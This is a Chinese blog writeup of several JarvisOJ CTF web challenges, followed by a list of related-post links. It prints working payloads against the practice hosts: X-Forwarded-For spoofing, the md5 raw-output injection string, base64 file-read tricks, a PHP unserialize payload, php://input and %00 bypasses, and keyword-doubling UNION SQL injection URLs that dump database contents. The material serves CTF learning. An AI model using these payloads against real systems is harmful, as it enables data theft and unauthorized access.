PORT51

题目链接:http://web.jarvisoj.com:32770/

这道题本来以为是访问服务器的51号端口,但是想想又不太对,应该是本地的51号端口访问服务器

想着用linux下的curl命令指定本地端口

curl --local-port 51 http://web.jarvisoj.com:32770/

测试过程中在虚拟机没成功,于是在windows下用本地端口访问,成功

windows下curl下载地址https://curl.haxx.se/download.html,选择windows版本即可

LOCALHOST

题目入口:http://web.jarvisoj.com:32774/

修改http头中的X-Forwarded-For即可

得到flag

Login

需要密码才能获得flag哦。

题目链接:http://web.jarvisoj.com:32772/

是个输密码的文本框

以为是个sql注入,但是发现输入单引号什么并没有过滤或者报错,一直提示错误的密码

在headers中发现hint

md5($pass,true)是个重点

百度上找到一篇文章,有详细介绍,输入ffifdyop即可得到flag

文章地址:http://www.freebuf.com/column/150063.html

神盾局的秘密

这里有个通向神盾局内部网络的秘密入口,你能通过漏洞发现神盾局的秘密吗?

题目入口:http://web.jarvisoj.com:32768/

<img src="showimg.php?img=c2hpZWxkLmpwZw==" width="100%"/>

发现有经base64编码后的文件名,猜测文件读取,先读取index.php内容,将文件名进行base64编码

view-source:http://web.jarvisoj.com:32768/showimg.php?img=aW5kZXgucGhw

<?php
require_once('shield.php');
$x = new Shield();
isset($_GET['class']) && $g = $_GET['class'];
if (!empty($g)) {
$x = unserialize($g);
}
echo $x->readfile();
?>

再读取shield.php的内容

view-source:http://web.jarvisoj.com:32768/showimg.php?img=c2hpZWxkLnBocA==

<?php
//flag is in pctf.php
class Shield {
public $file;
function __construct($filename = '') {
$this -> file = $filename;
} function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}
?>

最后再看看showimg.php的内容

<?php
$f = $_GET['img'];
if (!empty($f)) {
$f = base64_decode($f);
if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE && stripos($f,'\\')===FALSE
&& stripos($f,'pctf')===FALSE) {
readfile($f);
} else {
echo "File not found!";
}
}
?>

综合分析,题目过滤了".."、"/"、"\\","pctf"

最后是要将实例进行序列化,最后在index.php提交序列化后的内容

序列化测试代码:

<?php
class Shield {
public $file;
function __construct($filename = 'pctf.php') {
$this -> file = $filename;
}
}
$str = new Shield();
echo serialize($str);
?>

将pctf.php传入参数$filename

序列化后的结果:

O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}

在index.php页面提交即可

IN A Mess

代码审计,题目给的代码没有格式,我简单的整理了下

<?php
if(!$_GET['id'])
{
header('Location: index.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'Hahahahahaha'; return ;
}
$data = @file_get_contents($a,'r');
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
require("flag.txt");
}
else
{
print "work harder!harder!harder!";
}
?>

ctf-实验平台上有类似的一道题

id可以用字母绕过,a用伪协议php://input,b用%00截断就好了

http://web.jarvisoj.com:32780/index.php?id=a&a=php://input&b=%00122111

post内容:"1112 is a nice lab!"

得到下一关的地址

Come ON!!! {/^HT2mCpcvOLf}

sql绕过

//查显示位:得到3
http://web.jarvisoj.com:32780/^HT2mCpcvOLf/index.php?id=0/*111*/ununionion/*111*/seselectlect/*111*/1,2,3#
//暴库:得到test
http://web.jarvisoj.com:32780/^HT2mCpcvOLf/index.php?id=0/*111*/ununionion/*111*/seselectlect/*111*/1,2,group_concat(schema_name)/*111*/frfromom/*111*/information_schema.schemata#
//爆表:得到content
http://web.jarvisoj.com:32780/^HT2mCpcvOLf/index.php?id=0/*111*/ununionion/*111*/seselectlect/*111*/1,2,group_concat(table_name)/*111*/frfromom/*111*/information_schema.tables/*111*/where/*111*/table_schema=0x74657374
//爆字段:得到id,context,title
http://web.jarvisoj.com:32780/^HT2mCpcvOLf/index.php?id=0/*111*/ununionion/*111*/seselectlect/*111*/1,2,group_concat(column_name)/*111*/frfromom/*111*/information_schema.columns/*111*/where/*111*/table_name=0x636f6e74656e74
//爆内容:
http://web.jarvisoj.com:32780/^HT2mCpcvOLf/index.php?id=0/*111*/ununionion/*111*/seselectlect/*111*/1,2,group_concat(context)/*111*/frfromom/*111*/test.content#

最后得到flag

本文固定地址:http://www.cnblogs.com/hell0w/p/7909488.html

JarvisOJ平台Web题部分writeup的更多相关文章

  1. 南京邮电大学网络攻防平台WEB题

    平台地址:http://ctf.nuptsast.com/ 签到题: 右键查看源代码,得到flag md5 collision: 传入的a的md5值要为0e开头的,但不能是QNKCDZO,百度一个0e ...

  2. CTFHub Web题学习笔记(SQL注入题解writeup)

    Web题下的SQL注入 1,整数型注入 使用burpsuite,?id=1%20and%201=1 id=1的数据依旧出现,证明存在整数型注入 常规做法,查看字段数,回显位置 ?id=1%20orde ...

  3. i春秋CTF web题(1)

    之前边看writeup,边做实验吧的web题,多多少少有些收获.但是知识点都已记不清.所以这次借助i春秋这个平台边做题,就当记笔记一样写写writeup(其实都大部分还是借鉴其他人的writeup). ...

  4. 实验吧web题:

    实验吧web题: 这个有点简单 因为刚了解sqlmap,所以就拿sqlmap来练练手了 1,先测试该页面是否存在sql注入漏洞 2.找到漏洞页面,复制url,然后打开sqlmap 先查看当前数据库 然 ...

  5. CTF--web 攻防世界web题 robots backup

    攻防世界web题 robots https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=506 ...

  6. CTF--web 攻防世界web题 get_post

    攻防世界web题 get_post https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=5 ...

  7. 关于第一场HBCTF的Web题小分享,当作自身的笔记

    昨天晚上6点开始的HBCTF,虽然是针对小白的,但有些题目确实不简单. 昨天女朋友又让我帮她装DOTA2(女票是一个不怎么用电脑的),然后又有一个小白问我题目,我也很热情的告诉她了,哎,真耗不起. 言 ...

  8. 实验吧web题(26/26)全writeup!超详细:)

    #简单的SQL注入 http://www.shiyanbar.com/ctf/1875 1)试着在?id=1,没有错误 2)试着?id=1',出错了,有回显,说明有注入点: You have an e ...

  9. CTFHub Web题学习笔记(Web前置技能+信息泄露题解writeup)

    今天CTFHub正式上线了,https://www.ctfhub.com/#/index,之前有看到这个平台,不过没在上面做题,技能树还是很新颖的,不足的是有的方向的题目还没有题目,CTF比赛时间显示 ...

随机推荐

  1. 自己第一次使用ANTLR遇到的问题

    觉得既然是第一次尝试ANTLR嘛,那就来个简单点的,parse Windows 的 hosts 文件吧,结果...... 先上一段 grammar: grammar hosts; hostfile: ...

  2. 20155327 嵌入式C语言课堂补交

    嵌入式C语言 题目要求 在作业本上完成附图作业,要认真看题目要求. 提交作业截图 作弊本学期成绩清零(有雷同的,不管是给别人传答案,还是找别人要答案都清零) 题目分析 分析一:提取插入时间 根据老师上 ...

  3. 20155338 《JAVA程序设计》实验五网络编程与安全实验报告

    20155338 <JAVA程序设计>实验五网络编程安全实验报告 实验内容 实验一: •两人一组结对编程: •结对实现中缀表达式转后缀表达式的功能 MyBC.java •结对实现从上面功能 ...

  4. 20145226夏艺华 《Java程序设计》实验报告五

    实验五 Java网络编程及安全 实验内容 运行下载的TCP代码,结对进行 利用加解密代码包,编译运行代码,结对进行 集成代码,加密后通过TCP发送 结对伙伴:20145203 马超 实验步骤 (一)中 ...

  5. 修改Tomcat控制台标题(转)

    转载地址:https://blog.csdn.net/chanryma/article/details/46930729 背景:用控制台方式启动Tomcat,控制台的标题默认是"Tomcat ...

  6. 4825: [Hnoi2017]单旋

    4825: [Hnoi2017]单旋 链接 分析: 以后采取更保险的方式写代码!!!81行本来以为不特判也可以,然后就总是比答案大1,甚至出现负数,调啊调啊调啊调~~~ 只会旋转最大值和最小值,以最小 ...

  7. 2801 LOL-盖伦的蹲草计划

    2801 LOL-盖伦的蹲草计划 时间限制: 1 s  空间限制: 256000 KB  题目等级 : 黄金 Gold     题目描述 Description 众所周知,LOL这款伟大的游戏,有个叫 ...

  8. python开源IP代理池--IPProxys

    今天博客开始继续更新,谢谢大家对我的关注和支持.这几天一直是在写一个ip代理池的开源项目.通过前几篇的博客,我们可以了解到突破反爬虫机制的一个重要举措就是代理ip.拥有庞大稳定的ip代理,在爬虫工作中 ...

  9. _INTSIZEOF

    在_INTSIZEOF中该有的都有了 1.这其中最小非负剩余和最大正余数例子如下: 设n为4,当r为1时,最小非负剩余就是1,最大非正剩余就是1 - 4 = -3,最大正余数为4 - 1 = 3 2. ...

  10. 求两个字符串的最长公共子串——Java实现

    要求:求两个字符串的最长公共子串,如“abcdefg”和“adefgwgeweg”的最长公共子串为“defg”(子串必须是连续的) public class Main03{ // 求解两个字符号的最长 ...